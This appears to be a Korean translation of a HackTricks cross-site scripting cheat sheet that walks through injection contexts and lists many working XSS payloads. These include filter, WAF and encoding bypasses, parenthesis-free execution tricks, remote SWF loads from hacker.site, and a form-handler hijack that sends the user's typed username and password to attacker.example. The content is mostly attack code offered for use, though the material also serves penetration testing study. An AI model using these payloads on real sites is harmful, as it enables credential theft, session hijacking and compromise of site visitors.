%.*s
XSS (Cross Site Scripting)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
방법론
- Check if 당신이 제어하는 어떤 값 (parameters, path, headers?, cookies?)가 HTML에 반영(reflected) 되거나 JS 코드에 의해 사용되는지 확인하세요.
- 반영/사용되는 컨텍스트를 찾으세요.
- If 반영됨
- 어떤 기호를 사용할 수 있는지(which symbols can you use) 확인하고 그에 따라 페이로드를 준비하세요:
- In raw HTML:
- 새로운 HTML 태그를 생성할 수 있나요?
javascript:프로토콜을 지원하는 이벤트나 속성을 사용할 수 있나요?- 보호 메커니즘을 우회할 수 있나요?
- HTML 콘텐츠가 어떤 client side JS 엔진(AngularJS, VueJS, Mavo…)에 의해 해석되고 있다면 Client Side Template Injection을 악용할 수 있습니다.
- JS 코드를 실행하는 HTML 태그를 생성할 수 없다면 Dangling Markup - HTML scriptless injection을 악용할 수 있나요?
- Inside a HTML tag:
- attribute와 태그에서 벗어나 raw HTML 컨텍스트로 나올 수 있나요?
- JS 코드를 실행하는 새로운 이벤트/속성을 생성할 수 있나요?
- 당신이 갇혀있는 속성이 JS 실행을 지원하나요?
- 보호 메커니즘을 우회할 수 있나요?
- Inside JavaScript code:
<script>태그를 탈출할 수 있나요?- 문자열을 탈출하여 다른 JS 코드를 실행할 수 있나요?
- 입력이 템플릿 리터럴(
\``) 안에 있나요? - 보호 메커니즘을 우회할 수 있나요?
- Javascript function being executed
- 실행할 함수의 이름을 지정할 수 있습니다. 예:
?callback=alert(1) - If used:
- DOM XSS를 악용할 수 있습니다. 입력이 어떻게 제어되는지, 그리고 당신의 제어된 입력이 어떤 sink에 의해 사용되는지에 주의하세요.
복잡한 XSS 작업을 할 때 다음을 아는 것이 흥미로울 수 있습니다:
반영된 값
XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 웹 페이지에 반영되는 당신이 제어하는 값입니다.
- 중간적으로 반영됨(Intermediately reflected): 파라미터 값이나 경로가 웹 페이지에 반영되는 것을 발견하면 Reflected XSS를 악용할 수 있습니다.
- 저장되고 반영됨(Stored and reflected): 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 Stored XSS를 악용할 수 있습니다.
- JS를 통해 접근됨(Accessed via JS): 당신이 제어하는 값이 JS로 접근되는 것을 발견하면 DOM XSS를 악용할 수 있습니다.
컨텍스트
XSS를 시도할 때 가장 먼저 알아야 할 것은 당신의 입력이 어디에 반영되는지입니다. 컨텍스트에 따라 임의의 JS 코드를 다양한 방식으로 실행할 수 있습니다.
원시 HTML
입력이 원시 HTML(raw HTML) 페이지에 반영된다면, JS 코드를 실행하기 위해 일부 HTML 태그를 악용해야 합니다: <img , <iframe , <svg , <script … 이는 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.
또한 Client Side Template Injection을 염두에 두세요.
HTML 태그의 속성 내부
입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있습니다:
- 속성과 태그에서 탈출하여(그러면 raw HTML 컨텍스트가 됩니다) 악용할 새 HTML 태그를 생성:
"><img [...] - 속성에서 탈출할 수 있으나 태그에서 탈출할 수 없는 경우(
>가 인코딩되거나 삭제된 경우), 태그에 따라 JS 코드를 실행하는 이벤트를 생성할 수 있습니다:" autofocus onfocus=alert(1) x=" - 속성에서 탈출할 수 없는 경우(
"가 인코딩되거나 삭제된 경우), 값이 반영되는 어떤 속성인지, 그리고 값 전체를 제어하는지 일부만 제어하는지에 따라 악용 가능성이 달라집니다. 예를 들어,onclick=같은 이벤트를 제어하면 클릭 시 임의 코드를 실행시킬 수 있습니다. 또 다른 흥미로운 예는href속성으로, 여기서는javascript:프로토콜을 사용해 임의 코드를 실행할 수 있습니다:href="javascript:alert(1)" - 입력이 “노출 불가능한 태그(unexpoitable tags)” 내부에 반영된다면
accesskey트릭을 시도해 취약점을 악용할 수 있습니다(이를 악용하려면 어느 정도의 social engineering이 필요함):" accesskey="x" onclick="alert(1)" x="
클래스 이름을 제어하면 Angular가 XSS를 실행하는 이상한 예:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript 코드 내부
이 경우 입력값은 HTML 페이지의 <script> [...] </script> 태그 사이, .js 파일 내부 또는 javascript: 프로토콜을 사용하는 속성 내부에 반영됩니다:
<script> [...] </script>태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도</script>를 주입해 이 컨텍스트에서 탈출하려 시도할 수 있습니다. 이는 브라우저가 먼저 HTML 태그를 파싱한 다음 콘텐츠를 파싱하기 때문에 작동하며, 따라서 주입한</script>태그가 HTML 코드 안에 있다는 것을 인지하지 못합니다.- 입력이 JS 문자열 내부에 반영되고 이전 기법이 통하지 않는다면, 문자열에서 탈출하고, 코드를 실행한 뒤 JS 코드를 재구성해야 합니다(오류가 있으면 실행되지 않습니다:
'-alert(1)-'';-alert(1)//\';alert(1)//- 템플릿 리터럴 내부에 반영된다면
${ ... }구문을 사용해 JS 표현식 삽입할 수 있습니다:var greetings = `Hello, ${alert(1)}` - 유니코드 인코딩은 유효한 javascript 코드를 작성하는 데 유용합니다:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting는 함수, 변수 또는 클래스를 사용된 이후에 선언할 수 있는 기회로, XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있게 합니다.\ 자세한 내용은 다음 페이지를 확인하세요:
Javascript Function
몇몇 웹 페이지에는 endpoints가 있어 실행할 함수의 이름을 파라미터로 받습니다. 흔한 예는 ?callback=callbackFunc 같은 형태입니다.
사용자 입력이 직접 실행되는지 확인하는 좋은 방법은 파라미터 값을 변경(예: ‘Vulnerable’)하고 콘솔에서 다음과 같은 오류를 확인하는 것입니다:
.png)
취약하다면, 값으로 단순히 ?callback=alert(1) 를 보내서 alert를 발생시킬 수 있습니다. 다만 이러한 endpoints는 흔히 내용을 검증하여 문자, 숫자, 점 및 밑줄만 허용하도록 하는 경우가 많습니다 ([\w\._]).
하지만 그 제한이 있어도 여전히 일부 동작을 수행할 수 있습니다. 허용된 문자들을 사용해 DOM의 어떤 요소든 접근할 수 있기 때문입니다:
.png)
이를 위해 유용한 함수들:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders.
하지만 보통 해당 함수를 실행하는 엔드포인트들은 흥미로운 DOM을 많이 포함하지 않습니다. 같은 origin의 다른 페이지들은 더 많은 동작을 수행하기 위해 더 흥미로운 DOM을 가지고 있는 경우가 많습니다.
따라서 다른 DOM에서 이 취약점을 악용하기 위해 Same Origin Method Execution (SOME) 익스플로잇이 개발되었습니다:
SOME - Same Origin Method Execution
DOM
공격자가 제어하는 일부 데이터(예: location.href)를 안전하지 않게 사용하는 JS code가 존재합니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.
Universal XSS
이러한 종류의 XSS는 어디서든 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점의 악용에만 의존하지 않고 어떤 컨텍스트에서도 발생할 수 있습니다. 이러한 임의의 JavaScript 실행은 심지어 RCE를 얻거나 클라이언트 및 서버에서 임의의 파일을 읽는 등으로 악용될 수 있습니다.
몇 가지 예시:
WAF 우회 인코딩 이미지
.jpg)
raw HTML 내부에 주입
입력이 HTML 페이지 내부에 반영되거나 이 문맥에서 이스케이프하여 HTML 코드를 주입할 수 있을 때, 가장 먼저 해야 할 일은 <를 이용해 새 태그를 만들 수 있는지 확인하는 것입니다: 해당 문자 (char)가 반영되는지 시도해 보고 그것이 HTML encoded되는지, deleted되는지, 또는 reflected without changes되는지 확인하세요. 오직 마지막 경우에만 이 사례를 악용할 수 있습니다.
이런 경우에는 또한 염두에 두세요 Client Side Template Injection.
Note: A HTML comment can be closed using****-->****or **--!>**
이 경우와 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 payloads를 사용할 수 있습니다:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
하지만 tags/attributes의 black/whitelisting이 사용되는 경우, 생성할 수 있는 태그를 반드시 brute-force which tags 해야 합니다.
허용되는 태그를 located which tags are allowed 한 후에는, 발견된 유효 태그 내부의 속성/이벤트를 brute-force attributes/events 하여 컨텍스트를 어떻게 공략할지 확인해야 합니다.
태그/이벤트 brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. 그런 다음 모든 태그를 Burp intruder로 전송하고 WAF가 악성으로 판별하지 않은 태그가 있는지 확인하세요. 사용할 수 있는 태그를 찾으면, 유효한 태그를 사용해 brute force all the events 할 수 있습니다 (같은 웹페이지에서 Copy events to clipboard 를 클릭하고 이전과 같은 절차를 따르세요).
Custom tags
유효한 HTML 태그를 찾지 못했다면, create a custom tag 를 시도하고 onfocus 속성으로 JS 코드를 실행해볼 수 있습니다. XSS 요청에서는 URL 끝에 #을 추가해 페이지가 해당 객체에 포커스되도록(focus on that object) 하고 코드가 실행(execute)되게 해야 합니다:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
만약 어떤 종류의 blacklist가 사용되고 있다면, 몇 가지 우스운 트릭으로 이를 bypass해볼 수 있습니다:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > 더 많은 tiny XSS (다양한 환경용) payload 여기에서 확인할 수 있습니다 및 여기.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
마지막 것은 2개의 unicode 문자를 사용하며 5개로 확장됩니다: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
취약점을 익스플로잇하기 위해 사전 채워진 데이터와 함께 사용자가 링크나 폼을 클릭해야 하는 경우, 페이지가 취약하다면 abuse Clickjacking를 시도할 수 있습니다.
Impossible - Dangling Markup
만약 HTML 태그에 속성을 추가해 JS 코드를 실행하는 태그를 만들 수 없다고 생각한다면, Danglig Markup 를 확인하세요. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 exploit할 수 있기 때문입니다.
HTML 태그 내부에 주입하기
태그 내부 / 속성 값에서 탈출
만약 HTML 태그 내부에 있는 경우, 먼저 시도해볼 것은 태그에서 **탈출(escape)**하여 previous section에 언급된 몇 가지 기법을 사용해 JS 코드를 실행하는 것입니다.
태그에서 탈출할 수 없다면, 태그 내부에 새로운 속성들을 만들어 JS 코드를 실행하려 시도할 수 있습니다. 예를 들어 다음과 같은 페이로드를 사용할 수 있습니다 (이 예제에서는 속성에서 탈출하기 위해 큰따옴표(double quotes)를 사용합니다. 입력이 태그 내부에 직접 반영된다면 이 큰따옴표는 필요하지 않습니다):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
스타일 이벤트
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
속성 내부
심지어 속성에서 벗어날 수 없는 경우("가 인코딩되거나 삭제되는 경우라도), 값이 반영되는 어떤 속성인지와 값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 이를 악용할 수 있습니다. 예를 들어, onclick= 같은 이벤트를 제어할 수 있다면 클릭될 때 임의의 코드를 실행하도록 만들 수 있습니다.
또 다른 흥미로운 예는 href 속성으로, javascript: 프로토콜을 사용해 임의의 코드를 실행할 수 있습니다: href="javascript:alert(1)"
HTML 인코딩/URL 인코딩을 이용한 이벤트 내부 우회
HTML 태그 속성 값 내부의 HTML 인코딩된 문자들은 런타임에 디코딩됩니다. 따라서 다음과 같은 것이 유효하게 됩니다(페이로드는 굵게 표시됨): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Note that any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
참고: URL encode도 작동합니다:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass 이벤트 내부에서 Unicode encode 사용
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
속성 내의 특수 프로토콜
여기에서는 일부 위치에서 프로토콜 javascript: 또는 data: 를 사용하여 임의의 JS 코드를 실행할 수 있습니다. 일부는 사용자 상호작용을 요구하고 일부는 요구하지 않습니다.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
프로토콜을 주입할 수 있는 장소
일반적으로 javascript: 프로토콜은 href 속성을 허용하는 모든 태그에서 사용될 수 있으며 그리고 대부분의 태그가 src 속성을 허용하는 경우에도 사용될 수 있습니다 (하지만 <img>은 제외)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
기타 난독화 트릭
이 경우 HTML encoding과 Unicode encoding trick은 이전 섹션의 것과 마찬가지로 유효합니다. 속성(attribute) 내부에 있기 때문입니다.
<a href="javascript:var a=''-alert(1)-''">
또한, 이런 경우를 위한 또 다른 좋은 트릭이 있습니다: 입력이 javascript:... 내부에 있고 URL encoded 되더라도, 실행되기 전에 URL decoded 됩니다. 따라서, 문자열에서 홑따옴표로 이스케이프해야 하고 그것이 URL encoded 되고 있는 것을 보더라도, 상관없다, 실행 시에는 홑따옴표로 해석됩니다.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
참고: URLencode + HTMLencode를 어떤 순서로든 둘 다 사용해 payload를 인코딩하려고 하면 작동하지 않습니다. 하지만 payload 내부에서 섞어 사용하는 것은 가능합니다.
Hex 및 Octal encode를 javascript:와 함께 사용하기
적어도 iframe의 src 속성 안에서 Hex 및 Octal encode를 사용하여 HTML tags to execute JS를 선언할 수 있습니다:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:
on Event Handlers Bypass
우선 유용한 “on” event handlers는 이 페이지(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)를 확인하세요.
만약 event handlers를 생성하지 못하게 하는 blacklist가 있다면, 다음 bypasses를 시도해볼 수 있습니다:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
“Unexploitable tags”(hidden input, link, canonical, meta)에서의 XSS
here에서 이제 hidden inputs을 다음과 같이 악용할 수 있습니다:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
그리고 메타 태그에서는:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
From here: 다음과 같이 XSS payload inside a hidden attribute를 실행할 수 있습니다. 단, 설득을 통해 피해자가 키 조합을 누르도록 해야 합니다. Firefox Windows/Linux에서는 키 조합이 ALT+SHIFT+X이고, OS X에서는 CTRL+ALT+X입니다. access key attribute에 다른 키를 사용하면 다른 키 조합을 지정할 수 있습니다. 공격 벡터는 다음과 같습니다:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS 페이로드는 다음과 같을 것입니다: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
이미 이 섹션 안에서 다양한 인코딩을 이용한 트릭들이 소개되었습니다. 되돌아가서 어디에 사용할 수 있는지 확인하세요:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
이전 섹션의 Read the Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
다음 섹션의 Read the JavaScript bypass blacklist of the following section.
CSS-Gadgets
웹 페이지의 아주 작은 부분에서 XSS를 찾았고 그 요소가 어떤 종류의 상호작용을 필요로 하는 경우(예: footer의 작은 링크에 onmouseover 요소가 있는 경우), 해당 요소가 차지하는 영역을 수정하여 링크가 트리거될 확률을 최대화할 수 있습니다.
예를 들어 요소에 다음과 같은 스타일을 추가할 수 있습니다: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
하지만 WAF가 style 속성을 필터링한다면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어 다음과 같은 스타일이 존재한다고 합시다.
.test {display:block; color: blue; width: 100%}
그리고
#someid {top: 0; font-family: Tahoma;}
이제 링크를 다음과 같이 변경할 수 있습니다.
<a href=“” id=someid class=test onclick=alert() a=“”>
이 트릭은 다음에서 가져왔습니다: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
이 경우 사용자의 입력은 .js 파일 안의 JS 코드에 반영되거나 <script>...</script> 태그 사이, 또는 JS 코드를 실행할 수 있는 HTML 이벤트 사이, 혹은 javascript: 프로토콜을 허용하는 속성 사이에 반영됩니다.
Escaping <script> tag
만약 코드가 <script> [...] var input = 'reflected data' [...] </script> 안에 삽입된다면, 쉽게 <script> 태그를 닫는 것을 탈출(escape)할 수 있습니다:
</script><img src=1 onerror=alert(document.domain)>
Note that in this example we 단일 인용부호를 닫지도 않았다는 점에 주의하세요. 이는 HTML 파싱이 브라우저에서 먼저 수행되기 때문으로, 여기에는 script 블록을 포함한 페이지 요소를 식별하는 과정이 포함됩니다. 임베디드 스크립트를 이해하고 실행하기 위한 JavaScript 파싱은 그 이후에야 수행됩니다.
Inside JS code
If <> are being sanitised you can still **문자열을 이스케이프(escape)**해서 입력이 위치한 곳에서 임의의 JS를 실행할 수 있습니다. 오류가 있으면 JS 코드가 실행되지 않으므로 JS 문법을 수정하는 것이 중요합니다:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
사용자 입력이 인용된 JavaScript 문자열 안에 들어갈 때(예: 서버측에서 inline script로 echo할 경우), 문자열을 종료하고 코드를 주입한 뒤 구문을 복구하여 파싱이 유효하도록 유지할 수 있습니다. 일반적인 골격:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
취약한 매개변수가 JS 문자열로 반영될 때의 예시 URL 패턴:
?param=test";<INJECTION>;a="
이 기법은 HTML 컨텍스트를 건드릴 필요 없이 공격자 JS를 실행합니다(순수 JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합하세요.
템플릿 리터럴 ``
단일 및 이중 따옴표 외에도 JS는 backticks `` 을 허용합니다. 이는 템플릿 리터럴(template literals)로 알려져 있으며 ${ ... } 문법을 사용해 embedded JS expressions 를 포함할 수 있습니다.
따라서 입력이 backticks를 사용하는 JS 문자열 안에 반사(reflected)된다면, ${ ... } 문법을 악용하여 임의의 JS 코드 를 실행할 수 있습니다:
이것은 다음과 같이 악용할 수 있습니다:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
eval(atob())를 사용하는 전달 가능한 payloads와 스코프 뉘앙스
URL을 더 짧게 유지하고 단순한 키워드 필터를 우회하려면, 실제 로직을 base64-encode하고 eval(atob('...'))로 실행하면 된다. 단순 키워드 필터가 alert, eval, atob 같은 식별자를 차단하면, 브라우저에서 동일하게 컴파일되지만 문자열 매칭 필터를 회피하는 Unicode-escaped 식별자를 사용하라:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
중요한 스코프 뉘앙스: const/let는 eval() 내부에서 선언되면 block-scoped이며 globals를 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요시 전역이면서 non-rebindable hooks를 정의하려면 동적으로 주입한 <script> element를 사용하세요 (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
참고: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode로 인코딩된 JS 실행
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists 기법
문자열
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
특수 이스케이프
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS 코드 내부의 공백 대체
<TAB>
/**/
JavaScript comments (에서 JavaScript Comments 기법)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript 줄바꿈 (에서 JavaScript new line 트릭)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript 공백 문자
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
주석 안의 Javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
괄호 없는 JavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
